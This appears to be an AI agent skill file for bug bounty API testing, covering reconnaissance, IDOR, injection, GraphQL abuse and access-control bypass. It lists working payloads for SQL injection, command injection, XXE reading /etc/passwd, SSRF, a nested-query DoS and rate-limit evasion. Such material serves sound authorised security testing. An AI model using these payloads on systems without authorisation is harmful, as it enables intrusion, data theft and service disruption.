api-fuzzing-for-bug-bounty

name	API Fuzzing for Bug Bounty
description	This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
version	1.0.0
tags	["api-security","bug-bounty","fuzzing","idor","graphql","rest-api","penetration-testing"]

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

---

API Types Overview

Type	Protocol	Data Format	Structure
SOAP	HTTP	XML	Header + Body
REST	HTTP	JSON/XML/URL	Defined endpoints
GraphQL	HTTP	Custom Query	Single endpoint

---

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=[e-mail]

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

---

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"[e-mail]" password:"password"}){success jwt}}
mutation {login(input:{email:"[e-mail]" password:"password"}){success jwt}}
mutation {login(input:{email:"[e-mail]" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL Tools

Tool	Purpose
GraphCrawler	Schema discovery
graphw00f	Fingerprinting
clairvoyance	Schema reconstruction
InQL	Burp extension
GraphQLmap	Exploitation

---

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

---

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

---

Quick Reference

Vulnerability	Test Payload	Risk
IDOR	Change user_id parameter	High
SQLi	' OR 1=1-- in JSON	Critical
Command Injection	; ls /	Critical
XXE	DOCTYPE with ENTITY	High
SSRF	Internal IP in params	High
Rate Limit Bypass	Batch requests	Medium
Method Tampering	GET→DELETE	High

---

Tools Reference

Category	Tool	URL
API Fuzzing	Fuzzapi	github.com/Fuzzapi/fuzzapi
API Discovery	Kiterunner	github.com/assetnote/kiterunner
GraphQL	InQL	github.com/doyensec/inql
Wordlists	SecLists	github.com/danielmiessler/SecLists
Swagger Parser	Swagger-EZ	rhinosecuritylabs.github.io/Swagger-EZ
API Mindmap	MindAPI	dsopas.github.io/MindAPI/play

---

Constraints

Must:

• Test mobile, web, and developer APIs separately
• Check all API versions (/v1, /v2, /v3)
• Validate both authenticated and unauthenticated access

Must Not:

• Assume same security controls across API versions
• Skip testing undocumented endpoints
• Ignore rate limiting checks

Should:

• Add X-Requested-With: XMLHttpRequest header to simulate frontend
• Check archive.org for historical API endpoints
• Test for race conditions on sensitive operations

---

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

---

Troubleshooting

Issue	Solution
API returns nothing	Add X-Requested-With: XMLHttpRequest header
401 on all endpoints	Try adding ?user_id=1 parameter
GraphQL introspection disabled	Use clairvoyance for schema reconstruction
Rate limited	Use IP rotation or batch requests
Can't find endpoints	Check Swagger, archive.org, JS files